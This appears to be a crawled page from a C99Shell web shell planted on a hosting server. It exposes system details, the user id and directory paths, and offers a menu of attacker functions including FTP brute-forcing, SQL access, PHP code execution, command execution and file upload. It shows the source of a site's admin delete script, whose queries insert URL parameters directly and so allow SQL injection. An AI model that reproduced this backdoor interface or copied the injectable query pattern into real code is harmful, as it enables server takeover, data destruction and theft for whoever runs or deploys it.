!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/   drwxr-xr-x
Free 3293.14 GB of 8036.27 GB (40.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     article_del.php (1.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("include/conn.php");

if (isset(
$_GET['art_del'])) {
    
$art_id $_GET['art_del'];

    
// Check if the profile exists
    
$checkSql "SELECT * FROM `articles` WHERE art_id = $art_id";
    
$checkResult mysqli_query($conn$checkSql);
    
$profileExists mysqli_num_rows($checkResult) > 0;

    if (
$profileExists) {
        
// Display confirmation message
        
echo "<script>
            if (confirm('Are you sure you want to delete this Article?')) {
                window.location.href = 'article_del.php?confirmedDelete=
$art_id';
            } else {
                window.location.href = 'articles.php';
            }
        </script>"
;
    } else {
        echo 
"Class not found.";
    }
} elseif (isset(
$_GET['confirmedDelete'])) {
    
$art_id $_GET['confirmedDelete'];

    
$sql "DELETE FROM `articles` WHERE art_id = $art_id";
    
$result mysqli_query($conn$sql);

    if (
$result) {

        
$sqlart "DELETE FROM `article_content_table` WHERE art_for_id = $art_id";
        
$result_art mysqli_query($conn$sqlart);

        if (
$result_art) {
            echo 
"<script>alert('Articles Deleted successfully!');</script>";
            echo 
"<script>window.location.href ='articles.php';</script>";
        }
    } else {
        echo 
"Delete error: " mysqli_error($conn);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.013 ]--